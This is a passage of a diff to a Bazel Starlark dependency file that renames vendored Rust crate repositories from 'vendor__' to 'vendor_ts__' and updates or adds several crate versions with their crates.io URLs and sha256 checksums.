+        name = "vendor_ts__serde_yaml-0.9.34-deprecated",
         sha256 = "6a8b1a1a2ebf674015cc02edccce75287f1a0130d394307b36743c2f5d504b47",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/serde_yaml/0.9.34+deprecated/download"],
@@ -2624,7 +2758,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__sharded-slab-0.1.7",
+        name = "vendor_ts__sharded-slab-0.1.7",
         sha256 = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/sharded-slab/0.1.7/download"],
@@ -2634,7 +2768,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__shlex-1.3.0",
+        name = "vendor_ts__shlex-1.3.0",
         sha256 = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/shlex/1.3.0/download"],
@@ -2644,17 +2778,17 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__smallvec-1.13.2",
-        sha256 = "3c5e1a9a646d36c3599cd173a41282daf47c44583ad367b8e6837255952e5c67",
+        name = "vendor_ts__smallvec-1.14.0",
+        sha256 = "7fcf8323ef1faaee30a44a340193b1ac6814fd9b7b4e88e9d4519a3e4abe1cfd",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/smallvec/1.13.2/download"],
-        strip_prefix = "smallvec-1.13.2",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.smallvec-1.13.2.bazel"),
+        urls = ["https://static.crates.io/crates/smallvec/1.14.0/download"],
+        strip_prefix = "smallvec-1.14.0",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.smallvec-1.14.0.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__smol_str-0.3.2",
+        name = "vendor_ts__smol_str-0.3.2",
         sha256 = "9676b89cd56310a87b93dec47b11af744f34d5fc9f367b829474eec0a891350d",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/smol_str/0.3.2/download"],
@@ -2664,17 +2798,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__sptr-0.3.2",
-        sha256 = "3b9b39299b249ad65f3b7e96443bad61c02ca5cd3589f46cb6d610a0fd6c0d6a",
-        type = "tar.gz",
-        urls = ["https://static.crates.io/crates/sptr/0.3.2/download"],
-        strip_prefix = "sptr-0.3.2",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.sptr-0.3.2.bazel"),
-    )
-
-    maybe(
-        http_archive,
-        name = "vendor__stable_deref_trait-1.2.0",
+        name = "vendor_ts__stable_deref_trait-1.2.0",
         sha256 = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/stable_deref_trait/1.2.0/download"],
@@ -2684,7 +2808,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__streaming-iterator-0.1.9",
+        name = "vendor_ts__streaming-iterator-0.1.9",
         sha256 = "2b2231b7c3057d5e4ad0156fb3dc807d900806020c5ffa3ee6ff2c8c76fb8520",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/streaming-iterator/0.1.9/download"],
@@ -2694,7 +2818,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__strsim-0.11.1",
+        name = "vendor_ts__strsim-0.11.1",
         sha256 = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/strsim/0.11.1/download"],
@@ -2704,17 +2828,17 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__syn-2.0.96",
-        sha256 = "d5d0adab1ae378d7f53bdebc67a39f1f151407ef230f0ce2883572f5d8985c80",
+        name = "vendor_ts__syn-2.0.100",
+        sha256 = "b09a44accad81e1ba1cd74a32461ba89dee89095ba17b32f5d03683b1b1fc2a0",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/syn/2.0.96/download"],
-        strip_prefix = "syn-2.0.96",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.syn-2.0.96.bazel"),
+        urls = ["https://static.crates.io/crates/syn/2.0.100/download"],
+        strip_prefix = "syn-2.0.100",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.syn-2.0.100.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__synstructure-0.13.1",
+        name = "vendor_ts__synstructure-0.13.1",
         sha256 = "c8af7666ab7b6390ab78131fb5b0fce11d6b7a6951602017c35fa82800708971",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/synstructure/0.13.1/download"],
@@ -2724,7 +2848,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__text-size-1.1.1",
+        name = "vendor_ts__text-size-1.1.1",
         sha256 = "f18aa187839b2bdb1ad2fa35ead8c4c2976b64e4363c386d45ac0f7ee85c9233",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/text-size/1.1.1/download"],
@@ -2734,7 +2858,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__thiserror-1.0.69",
+        name = "vendor_ts__thiserror-1.0.69",
         sha256 = "b6aaf5339b578ea85b50e080feb250a3e8ae8cfcdff9a461c9ec2904bc923f52",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/thiserror/1.0.69/download"],
@@ -2744,7 +2868,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__thiserror-impl-1.0.69",
+        name = "vendor_ts__thiserror-impl-1.0.69",
         sha256 = "4fee6c4efc90059e10f81e6d42c60a18f76588c3d74cb83a0b242a2b6c7504c1",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/thiserror-impl/1.0.69/download"],
@@ -2754,7 +2878,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__thread_local-1.1.8",
+        name = "vendor_ts__thread_local-1.1.8",
         sha256 = "8b9ef9bad013ada3808854ceac7b46812a6465ba368859a37e2100283d2d719c",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/thread_local/1.1.8/download"],
@@ -2764,7 +2888,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__time-0.3.37",
+        name = "vendor_ts__time-0.3.37",
         sha256 = "35e7868883861bd0e56d9ac6efcaaca0d6d5d82a2a7ec8209ff492c07cf37b21",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/time/0.3.37/download"],
@@ -2774,7 +2898,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__time-core-0.1.2",
+        name = "vendor_ts__time-core-0.1.2",
         sha256 = "ef927ca75afb808a4d64dd374f00a2adf8d0fcff8e7b184af886c3c87ec4a3f3",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/time-core/0.1.2/download"],
@@ -2784,7 +2908,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__time-macros-0.2.19",
+        name = "vendor_ts__time-macros-0.2.19",
         sha256 = "2834e6017e3e5e4b9834939793b282bc03b37a3336245fa820e35e233e2a85de",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/time-macros/0.2.19/download"],
@@ -2794,17 +2918,17 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__toml-0.8.19",
-        sha256 = "a1ed1f98e3fdc28d6d910e6737ae6ab1a93bf1985935a1193e68f93eeb68d24e",
+        name = "vendor_ts__toml-0.8.20",
+        sha256 = "cd87a5cdd6ffab733b2f74bc4fd7ee5fff6634124999ac278c35fc78c6120148",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/toml/0.8.19/download"],
-        strip_prefix = "toml-0.8.19",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.toml-0.8.19.bazel"),
+        urls = ["https://static.crates.io/crates/toml/0.8.20/download"],
+        strip_prefix = "toml-0.8.20",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.toml-0.8.20.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__toml_datetime-0.6.8",
+        name = "vendor_ts__toml_datetime-0.6.8",
         sha256 = "0dd7358ecb8fc2f8d014bf86f6f638ce72ba252a2c3a2572f2a795f1d23efb41",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/toml_datetime/0.6.8/download"],
@@ -2814,17 +2938,17 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__toml_edit-0.22.22",
-        sha256 = "4ae48d6208a266e853d946088ed816055e556cc6028c5e8e2b84d9fa5dd7c7f5",
+        name = "vendor_ts__toml_edit-0.22.24",
+        sha256 = "17b4795ff5edd201c7cd6dca065ae59972ce77d1b80fa0a84d94950ece7d1474",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/toml_edit/0.22.22/download"],
-        strip_prefix = "toml_edit-0.22.22",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.toml_edit-0.22.22.bazel"),
+        urls = ["https://static.crates.io/crates/toml_edit/0.22.24/download"],
+        strip_prefix = "toml_edit-0.22.24",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.toml_edit-0.22.24.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__tracing-0.1.41",
+        name = "vendor_ts__tracing-0.1.41",
         sha256 = "784e0ac535deb450455cbfa28a6f0df145ea1bb7ae51b821cf5e7927fdcfbdd0",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/tracing/0.1.41/download"],
@@ -2834,7 +2958,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__tracing-attributes-0.1.28",
+        name = "vendor_ts__tracing-attributes-0.1.28",
         sha256 = "395ae124c09f9e6918a2310af6038fba074bcf474ac352496d5910dd59a2226d",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/tracing-attributes/0.1.28/download"],
@@ -2844,7 +2968,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__tracing-core-0.1.33",
+        name = "vendor_ts__tracing-core-0.1.33",
         sha256 = "e672c95779cf947c5311f83787af4fa8fffd12fb27e4993211a84bdfd9610f9c",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/tracing-core/0.1.33/download"],
@@ -2854,7 +2978,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__tracing-flame-0.2.0",
+        name = "vendor_ts__tracing-flame-0.2.0",
         sha256 = "0bae117ee14789185e129aaee5d93750abe67fdc5a9a62650452bfe4e122a3a9",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/tracing-flame/0.2.0/download"],
@@ -2864,7 +2988,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__tracing-log-0.2.0",
+        name = "vendor_ts__tracing-log-0.2.0",
         sha256 = "ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/tracing-log/0.2.0/download"],
@@ -2874,7 +2998,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__tracing-subscriber-0.3.19",
+        name = "vendor_ts__tracing-subscriber-0.3.19",
         sha256 = "e8189decb5ac0fa7bc8b96b7cb9b2701d60d48805aca84a238004d665fcc4008",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/tracing-subscriber/0.3.19/download"],
@@ -2884,7 +3008,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__tree-sitter-0.24.6",
+        name = "vendor_ts__tree-sitter-0.24.6",
         sha256 = "5f2434c86ba59ed15af56039cc5bf1acf8ba76ce301e32ef08827388ef285ec5",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/tree-sitter/0.24.6/download"],
@@ -2894,7 +3018,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__tree-sitter-embedded-template-0.23.2",
+        name = "vendor_ts__tree-sitter-embedded-template-0.23.2",
         sha256 = "790063ef14e5b67556abc0b3be0ed863fb41d65ee791cf8c0b20eb42a1fa46af",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/tree-sitter-embedded-template/0.23.2/download"],
@@ -2904,7 +3028,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__tree-sitter-json-0.24.8",
+        name = "vendor_ts__tree-sitter-json-0.24.8",
         sha256 = "4d727acca406c0020cffc6cf35516764f36c8e3dc4408e5ebe2cb35a947ec471",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/tree-sitter-json/0.24.8/download"],
@@ -2914,7 +3038,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__tree-sitter-language-0.1.3",
+        name = "vendor_ts__tree-sitter-language-0.1.3",
         sha256 = "c199356c799a8945965bb5f2c55b2ad9d9aa7c4b4f6e587fe9dea0bc715e5f9c",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/tree-sitter-language/0.1.3/download"],
@@ -2924,7 +3048,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__tree-sitter-ql-0.23.1",
+        name = "vendor_ts__tree-sitter-ql-0.23.1",
         sha256 = "80b7bcaf39acefbb199417a6ec2fd0c038083ba115da3e4f4426c820dc76d386",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/tree-sitter-ql/0.23.1/download"],
@@ -2934,7 +3058,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__tree-sitter-ruby-0.23.1",
+        name = "vendor_ts__tree-sitter-ruby-0.23.1",
         sha256 = "be0484ea4ef6bb9c575b4fdabde7e31340a8d2dbc7d52b321ac83da703249f95",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/tree-sitter-ruby/0.23.1/download"],
@@ -2944,7 +3068,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__triomphe-0.1.14",
+        name = "vendor_ts__triomphe-0.1.14",
         sha256 = "ef8f7726da4807b58ea5c96fdc122f80702030edc33b35aff9190a51148ccc85",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/triomphe/0.1.14/download"],
@@ -2954,7 +3078,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__typed-arena-2.0.2",
+        name = "vendor_ts__typed-arena-2.0.2",
         sha256 = "6af6ae20167a9ece4bcb41af5b80f8a1f1df981f6391189ce00fd257af04126a",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/typed-arena/2.0.2/download"],
@@ -2964,7 +3088,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__uncased-0.9.10",
+        name = "vendor_ts__uncased-0.9.10",
         sha256 = "e1b88fcfe09e89d3866a5c11019378088af2d24c3fbd4f0543f96b479ec90697",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/uncased/0.9.10/download"],
@@ -2974,7 +3098,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__ungrammar-1.16.1",
+        name = "vendor_ts__ungrammar-1.16.1",
         sha256 = "a3e5df347f0bf3ec1d670aad6ca5c6a1859cd9ea61d2113125794654ccced68f",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/ungrammar/1.16.1/download"],
@@ -2984,17 +3108,17 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__unicode-ident-1.0.14",
-        sha256 = "adb9e6ca4f869e1180728b7950e35922a7fc6397f7b641499e8f3ef06e50dc83",
+        name = "vendor_ts__unicode-ident-1.0.16",
+        sha256 = "a210d160f08b701c8721ba1c726c11662f877ea6b7094007e1ca9a1041945034",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/unicode-ident/1.0.14/download"],
-        strip_prefix = "unicode-ident-1.0.14",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.unicode-ident-1.0.14.bazel"),
+        urls = ["https://static.crates.io/crates/unicode-ident/1.0.16/download"],
+        strip_prefix = "unicode-ident-1.0.16",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.unicode-ident-1.0.16.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__unicode-properties-0.1.3",
+        name = "vendor_ts__unicode-properties-0.1.3",
         sha256 = "e70f2a8b45122e719eb623c01822704c4e0907e7e426a05927e1a1cfff5b75d0",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/unicode-properties/0.1.3/download"],
@@ -3004,7 +3128,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__unicode-xid-0.2.6",
+        name = "vendor_ts__unicode-xid-0.2.6",
         sha256 = "ebc1c04c71510c7f702b52b7c350734c9ff1295c464a03335b00bb84fc54f853",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/unicode-xid/0.2.6/download"],
@@ -3014,7 +3138,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__unsafe-libyaml-0.2.11",
+        name = "vendor_ts__unsafe-libyaml-0.2.11",
         sha256 = "673aac59facbab8a9007c7f6108d11f63b603f7cabff99fabf650fea5c32b861",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/unsafe-libyaml/0.2.11/download"],
@@ -3024,7 +3148,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__utf8parse-0.2.2",
+        name = "vendor_ts__utf8parse-0.2.2",
         sha256 = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/utf8parse/0.2.2/download"],
@@ -3034,7 +3158,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__valuable-0.1.0",
+        name = "vendor_ts__valuable-0.1.0",
         sha256 = "830b7e5d4d90034032940e4ace0d9a9a057e7a45cd94e6c007832e39edb82f6d",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/valuable/0.1.0/download"],
@@ -3044,7 +3168,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__version_check-0.9.5",
+        name = "vendor_ts__version_check-0.9.5",
         sha256 = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/version_check/0.9.5/download"],
@@ -3054,7 +3178,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__walkdir-2.5.0",
+        name = "vendor_ts__walkdir-2.5.0",
         sha256 = "29790946404f91d9c5d06f9874efddea1dc06c5efe94541a7d6863108e3a5e4b",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/walkdir/2.5.0/download"],
@@ -3064,7 +3188,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__wasi-0.11.0-wasi-snapshot-preview1",
+        name = "vendor_ts__wasi-0.11.0-wasi-snapshot-preview1",
         sha256 = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/wasi/0.11.0+wasi-snapshot-preview1/download"],
@@ -3074,7 +3198,17 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__wasm-bindgen-0.2.99",
+        name = "vendor_ts__wasi-0.13.3-wasi-0.2.2",
+        sha256 = "26816d2e1a4a36a2940b96c5296ce403917633dff8f3440e9b236ed6f6bacad2",
+        type = "tar.gz",
+        urls = ["https://static.crates.io/crates/wasi/0.13.3+wasi-0.2.2/download"],
+        strip_prefix = "wasi-0.13.3+wasi-0.2.2",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.wasi-0.13.3+wasi-0.2.2.bazel"),
+    )
+
+    maybe(
+        http_archive,
+        name = "vendor_ts__wasm-bindgen-0.2.99",
         sha256 = "a474f6281d1d70c17ae7aa6a613c87fce69a127e2624002df63dcb39d6cf6396",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/wasm-bindgen/0.2.99/download"],
@@ -3084,7 +3218,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__wasm-bindgen-backend-0.2.99",
+        name = "vendor_ts__wasm-bindgen-backend-0.2.99",
         sha256 = "5f89bb38646b4f81674e8f5c3fb81b562be1fd936d84320f3264486418519c79",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/wasm-bindgen-backend/0.2.99/download"],
@@ -3094,7 +3228,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__wasm-bindgen-macro-0.2.99",
+        name = "vendor_ts__wasm-bindgen-macro-0.2.99",
         sha256 = "2cc6181fd9a7492eef6fef1f33961e3695e4579b9872a6f7c83aee556666d4fe",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/wasm-bindgen-macro/0.2.99/download"],
@@ -3104,7 +3238,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__wasm-bindgen-macro-support-0.2.99",
+        name = "vendor_ts__wasm-bindgen-macro-support-0.2.99",
         sha256 = "30d7a95b763d3c45903ed6c81f156801839e5ee968bb07e534c44df0fcd330c2",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/wasm-bindgen-macro-support/0.2.99/download"],
@@ -3114,7 +3248,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__wasm-bindgen-shared-0.2.99",
+        name = "vendor_ts__wasm-bindgen-shared-0.2.99",
         sha256 = "943aab3fdaaa029a6e0271b35ea10b72b943135afe9bffca82384098ad0e06a6",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/wasm-bindgen-shared/0.2.99/download"],
@@ -3124,7 +3258,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__winapi-0.3.9",
+        name = "vendor_ts__winapi-0.3.9",
         sha256 = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/winapi/0.3.9/download"],
@@ -3134,7 +3268,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__winapi-i686-pc-windows-gnu-0.4.0",
+        name = "vendor_ts__winapi-i686-pc-windows-gnu-0.4.0",
         sha256 = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/winapi-i686-pc-windows-gnu/0.4.0/download"],
@@ -3144,7 +3278,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__winapi-util-0.1.9",
+        name = "vendor_ts__winapi-util-0.1.9",
         sha256 = "cf221c93e13a30d793f7645a0e7762c55d169dbb0a49671918a2319d289b10bb",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/winapi-util/0.1.9/download"],
@@ -3154,7 +3288,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__winapi-x86_64-pc-windows-gnu-0.4.0",
+        name = "vendor_ts__winapi-x86_64-pc-windows-gnu-0.4.0",
         sha256 = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/winapi-x86_64-pc-windows-gnu/0.4.0/download"],
@@ -3164,7 +3298,17 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__windows-core-0.52.0",
+        name = "vendor_ts__windows-0.58.0",
+        sha256 = "dd04d41d93c4992d421894c18c8b43496aa748dd4c081bac0dc93eb0489272b6",
+        type = "tar.gz",
+        urls = ["https://static.crates.io/crates/windows/0.58.0/download"],
+        strip_prefix = "windows-0.58.0",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.windows-0.58.0.bazel"),
+    )
+
+    maybe(
+        http_archive,
+        name = "vendor_ts__windows-core-0.52.0",
         sha256 = "33ab640c8d7e35bf8ba19b884ba838ceb4fba93a4e8c65a9059d08afcfc683d9",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/windows-core/0.52.0/download"],
@@ -3174,7 +3318,67 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__windows-sys-0.48.0",
+        name = "vendor_ts__windows-core-0.58.0",
+        sha256 = "6ba6d44ec8c2591c134257ce647b7ea6b20335bf6379a27dac5f1641fcf59f99",
+        type = "tar.gz",
+        urls = ["https://static.crates.io/crates/windows-core/0.58.0/download"],
+        strip_prefix = "windows-core-0.58.0",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.windows-core-0.58.0.bazel"),
+    )
+
+    maybe(
+        http_archive,
+        name = "vendor_ts__windows-implement-0.58.0",
+        sha256 = "2bbd5b46c938e506ecbce286b6628a02171d56153ba733b6c741fc627ec9579b",
+        type = "tar.gz",
+        urls = ["https://static.crates.io/crates/windows-implement/0.58.0/download"],
+        strip_prefix = "windows-implement-0.58.0",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.windows-implement-0.58.0.bazel"),
+    )
+
+    maybe(
+        http_archive,
+        name = "vendor_ts__windows-interface-0.58.0",
+        sha256 = "053c4c462dc91d3b1504c6fe5a726dd15e216ba718e84a0e46a88fbe5ded3515",
+        type = "tar.gz",
+        urls = ["https://static.crates.io/crates/windows-interface/0.58.0/download"],
+        strip_prefix = "windows-interface-0.58.0",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.windows-interface-0.58.0.bazel"),
+    )
+
+    maybe(
+        http_archive,
+        name = "vendor_ts__windows-link-0.1.1",
+        sha256 = "76840935b766e1b0a05c0066835fb9ec80071d4c09a16f6bd5f7e655e3c14c38",
+        type = "tar.gz",
+        urls = ["https://static.crates.io/crates/windows-link/0.1.1/download"],
+        strip_prefix = "windows-link-0.1.1",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.windows-link-0.1.1.bazel"),
+    )
+
+    maybe(
+        http_archive,
+        name = "vendor_ts__windows-result-0.2.0",
+        sha256 = "1d1043d8214f791817bab27572aaa8af63732e11bf84aa21a45a78d6c317ae0e",
+        type = "tar.gz",
+        urls = ["https://static.crates.io/crates/windows-result/0.2.0/download"],
+        strip_prefix = "windows-result-0.2.0",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.windows-result-0.2.0.bazel"),
+    )
+
+    maybe(
+        http_archive,
+        name = "vendor_ts__windows-strings-0.1.0",
+        sha256 = "4cd9b125c486025df0eabcb585e62173c6c9eddcec5d117d3b6e8c30e2ee4d10",
+        type = "tar.gz",
+        urls = ["https://static.crates.io/crates/windows-strings/0.1.0/download"],
+        strip_prefix = "windows-strings-0.1.0",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.windows-strings-0.1.0.bazel"),
+    )
+
+    maybe(
+        http_archive,
+        name = "vendor_ts__windows-sys-0.48.0",
         sha256 = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/windows-sys/0.48.0/download"],
@@ -3184,7 +3388,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__windows-sys-0.52.0",
+        name = "vendor_ts__windows-sys-0.52.0",
         sha256 = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/windows-sys/0.52.0/download"],
@@ -3194,7 +3398,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__windows-sys-0.59.0",
+        name = "vendor_ts__windows-sys-0.59.0",
         sha256 = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/windows-sys/0.59.0/download"],
@@ -3204,7 +3408,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__windows-targets-0.48.5",
+        name = "vendor_ts__windows-targets-0.48.5",
         sha256 = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/windows-targets/0.48.5/download"],
@@ -3214,7 +3418,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__windows-targets-0.52.6",
+        name = "vendor_ts__windows-targets-0.52.6",
         sha256 = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/windows-targets/0.52.6/download"],
@@ -3224,7 +3428,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__windows_aarch64_gnullvm-0.48.5",
+        name = "vendor_ts__windows_aarch64_gnullvm-0.48.5",
         sha256 = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/windows_aarch64_gnullvm/0.48.5/download"],
@@ -3234,7 +3438,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__windows_aarch64_gnullvm-0.52.6",
+        name = "vendor_ts__windows_aarch64_gnullvm-0.52.6",
         sha256 = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/windows_aarch64_gnullvm/0.52.6/download"],
@@ -3244,7 +3448,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__windows_aarch64_msvc-0.48.5",
+        name = "vendor_ts__windows_aarch64_msvc-0.48.5",
